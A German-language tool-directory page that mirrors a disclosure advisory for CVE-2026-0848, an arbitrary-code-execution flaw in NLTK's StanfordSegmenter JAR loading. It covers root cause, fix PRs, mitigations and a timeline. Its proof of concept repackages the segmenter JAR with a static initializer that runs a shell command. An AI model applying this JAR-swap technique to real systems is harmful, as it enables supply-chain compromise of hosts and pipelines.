Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter lädt dynamisch externe Java-.jar-Dateien ohne Verifizierung oder Sandboxing. Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann (z. B. durch einen vergifteten Modell-Download, einen MITM-Pakettausch oder eine Abhängigkeitsvergiftung), wird beim Import beliebiger Java-Bytecode ausgeführt. | Kitploit
Tools/GitHubGitHub/hyperps/cve-2026-0848
SchwachstellenanalyseCode-AnalyseExploitationLieferkettensicherheitPapers & ForschungLernen & Bildung
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

nltk.tokenize.StanfordSegmenter lädt dynamisch externe Java-.jar-Dateien ohne Verifizierung oder Sandboxing. Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann (z. B. durch einen vergifteten Modell-Download, einen MITM-Pakettausch oder eine Abhängigkeitsvergiftung), wird beim Import beliebiger Java-Bytecode ausgeführt.

Teilen

CVE-2026-0848 — NLTK StanfordSegmenter: Beliebige Codeausführung durch Laden nicht vertrauenswürdiger JAR-Dateien


Übersicht

FeldDetails
CVE-IDCVE-2026-0848
Paketnltk (Natural Language Toolkit)
RegistryPyPI
Betroffene Versionen<= 3.9.2
SchwachstellentypCWE-20: Unzureichende Eingabevalidierung
CVSS-Score10.0 (Kritisch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
AuswirkungsumfangGeändert
VertraulichkeitsauswirkungHoch
IntegritätsauswirkungHoch
VerfügbarkeitsauswirkungHoch
Gemeldet am6. Dezember 2025
CVE veröffentlichtMärz 2026
Unterstützt durchPalo Alto Networks / Prisma AIRS

Beschreibung

nltk.tokenize.StanfordSegmenter lädt über subprocess dynamisch externe Java-.jar-Dateien, ohne eine Integritätsprüfung, Signaturprüfung oder Sandboxing durchzuführen. Die Klasse akzeptiert vollständig angreiferkontrollierte Parameter wie path_to_jar, path_to_model, path_to_dict und java_class und übergibt sie direkt an einen java -cp-Aufruf.

Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann – etwa durch ein vergiftetes Modell-Download, einen Man-in-the-Middle-Pakettausch, eine Abhängigkeitsvergiftung oder einen manipulierten Release-Mirror – wird beim Klassenladen beliebiger Java-Bytecode über den statischen Initialisierungsmechanismus der JVM ausgeführt. Dies stellt eine Remote-Code-Ausführung in der Lieferkette dar und umgeht die Python-Laufzeitumgebung vollständig.


Betroffene Komponenten


CVSS-Vektor

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Auswirkungen

Eine erfolgreiche Ausnutzung verschafft einem Angreifer die vollständige Kontrolle über das System, auf dem der NLTK-Segmentierungsprozess ausgeführt wird:

  • Beliebige Java-Codeausführung — Jeder in der bösartigen JAR enthaltene Bytecode wird mit den Rechten des Python/Java-Prozesses ausgeführt
  • Ausbruch aus der Python-Laufzeitumgebung — Die Ausführung wechselt in die JVM und umgeht damit jegliches Python-Sandboxing vollständig
  • Kommandoausführung auf Betriebssystemebene — Angreifer können Runtime.getRuntime().exec() oder ProcessBuilder aufrufen, um beliebige Shell-Befehle auszuführen
  • Datendiebstahl und -manipulation — Zugriff auf alle Dateien, Umgebungsvariablen, API-Schlüssel und Geheimnisse, die für den Prozess lesbar sind
  • Vollständige Kompromittierung der Umgebung — In CI/CD-Pipelines, Produktions-NLP-Pipelines oder Serverumgebungen führt eine einzige bösartige JAR-Datei zur vollständigen Übernahme des Hosts

Hochriskante Einsatzszenarien

Diese Schwachstelle betrifft jeden NLP-Workflow, der StanfordSegmenter verwendet, einschließlich Chatbots, LLM-Vorverarbeitungspipelines, Datensatzsegmentierung, Dokumentklassifizierung und Produktions-Inferenzdiensten.


Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung haben.

Schritt 1 — Kernklassifikator durch bösartige Java-Klasse ersetzen

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Schritt 2 — Die bösartige JAR-Datei erstellen

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Schritt 3 — Über NLTK auslösen

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Ausgabe:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE bestätigen:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

Grundursache

Die Schwachstelle ist in zwei Dateien vorhanden:

stanford_segmenter.py — Der Konstruktor der Klasse StanfordSegmenter akzeptiert path_to_jar, path_to_model, path_to_dict und java_class als einfache Zeichenkettenargumente und leitet sie direkt an die Java-Ausführungsebene weiter, ohne eine der folgenden Prüfungen durchzuführen:

  • Pfad-Allowlist oder Durchsetzung vertrauenswürdiger Verzeichnisse
  • SHA-256- oder kryptografische Signaturprüfung der JAR-Datei
  • Validierung des Parameters java_class anhand einer bekannten, sicheren Menge von Klassennamen

internals.py — Die Hilfsfunktion java() erstellt und startet einen subprocess.Popen()-Aufruf mit dem benutzerbereitgestellten Classpath. Die JVM lädt sofort alle Klassen in der bereitgestellten JAR-Datei und führt dabei alle statischen Initialisierungsblöcke aus, bevor die Anwendungslogik läuft. Es gibt weder eine Sandbox, noch ein Integritätsgate oder einen Mechanismus, der die Ausführung von injiziertem Bytecode verhindert.


Behebung

Die Schwachstelle wurde im Upstream-NLTK-Repository vollständig behoben.

RessourceLink
Zentrale Sicherheitsbehebung (alle CVEs)https://github.com/nltk/nltk/pull/3522
Initialer Fix-PR des Forschershttps://github.com/nltk/nltk/pull/3477 (gemerged)

Aktualisieren Sie auf eine gepatchte Version von NLTK, sobald sie auf PyPI verfügbar ist.


Abhilfemaßnahmen

Upgrade über pip:

root@kitploit:~
pip install --upgrade nltk

Installierte Version überprüfen:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Zeitleiste


Referenzen


Haftungsausschluss

Dieses Repository dokumentiert CVE-2026-0848 ausschließlich für Bildungs-, Forschungs- und Verteidigungszwecke. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwicklern, Sicherheitsingenieuren und Systemadministratoren zu helfen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.

Jegliche Nutzung dieser Informationen zum Zugriff auf oder zur Kompromittierung von Systemen ohne ausdrückliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch der enthaltenen Informationen.

Mitwirkende: ketanHub

Tool herunterladen
DateiZeilenBeschreibung
nltk/tokenize/stanford_segmenter.pyL53–L118Akzeptiert angreiferkontrollierte path_to_jar, path_to_model, path_to_dict und java_class ohne Validierung
nltk/internals.pyL220–L300Startet die Java-Ausführung direkt mit benutzerkontrolliertem JAR-Pfad und Classpath, ohne Sandbox oder Prüfsummenverifizierung
nltk/internals.pyL109–L152subprocess.Popen() führt Java mit nicht validierter Classpath-Eingabe aus, wodurch die JVM beliebigen Bytecode laden und statische Initialisierer ausführen kann
MetrikWert
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
AuswirkungsumfangGeändert
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch
SzenarioAuswirkung
ML-Forscher lädt ein vortrainiertes Segmentierungsmodell aus dem InternetRemote-Angreifer erlangt Codeausführung
Organisation lädt ein manipuliertes ZIP-Modell für die chinesische Segmentierung herunterSchadsoftware wird in der Produktions-NLP-Pipeline ausgeführt
CI/CD-Server installiert ein Modell über wget/unzip von einem Nicht-HTTPS-MirrorVollständige Kompromittierung der Umgebung
Übernahme einer Abhängigkeit oder vergifteter Release-MirrorVollständige Supply-Chain-RCE
MaßnahmeDetails
NLTK aktualisierenAuf eine Version größer als 3.9.2 aktualisieren, die den Fix aus PR #3522 enthält
Keine benutzerkontrollierten JAR-Pfade verwendenNiemals zulassen, dass Benutzereingaben die Argumente path_to_jar, path_to_model oder java_class beeinflussen
JAR-Integrität prüfenVor der Verwendung stets SHA-256-Prüfsummen heruntergeladener JAR-Dateien gegen offiziell veröffentlichte Hashwerte verifizieren
Nur HTTPS-Quellen verwendenModelldateien und JARs ausschließlich von offiziellen HTTPS-Quellen herunterladen; jegliche HTTP- oder unverifizierte Mirror ablehnen
MinimalrechteNLTK-basierte Dienste unter einem eingeschränkten Betriebssystem-Benutzer mit minimalen Dateisystem- und Netzwerkberechtigungen ausführen
ContainerisierungNLP-Dienste in Docker-Containern oder ähnlichen Sandboxes isolieren, um den Schadensradius von JAR-basierten Exploits zu begrenzen
AbhängigkeitsüberwachungEin Software-Composition-Analysis-Tool verwenden, um manipulierte oder ersetzte JAR-Abhängigkeiten in CI/CD-Pipelines zu erkennen
DatumEreignis
6. Dezember 2025Schwachstelle von Forscher hyperps1 (Sarvesh Patil) an huntr.dev gemeldet
Dezember 2025NLTK-Maintainer-Team über huntr.dev benachrichtigt
Januar 2026NLTK-Maintainer validierte die Schwachstelle; Offenlegungsprämie vergeben
Januar 2026CVE-2026-0848 zugewiesen
Januar 2026Fix-PR #3477 des Forschers eingereicht und gemerged
Februar 202648-Stunden-Vorabhinweis an die NLTK-Maintainer gesendet
März 2026CVE auf NVD und huntr.dev veröffentlicht
März 2026Zentrale Sicherheitsbehebung für alle CVEs über PR #3522 gemerged
RessourceLink
NVD-Eintraghttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
Offizieller CVE-Eintraghttps://cve.org/CVERecord?id=CVE-2026-0848
huntr.dev-Berichthttps://huntr.dev
Zentraler Fix-PRhttps://github.com/nltk/nltk/pull/3522
Forscher-Fix-PRhttps://github.com/nltk/nltk/pull/3477
NLTK auf PyPIhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — Arbitrary Code Executionhttps://owasp.org/www-community/attacks/Code_Injection
OWASP — Untrusted Search Pathhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: Improper Input Validationhttps://cwe.mitre.org/data/definitions/20.html
CWE-502: Deserialization of Untrusted Datahttps://cwe.mitre.org/data/definitions/502.html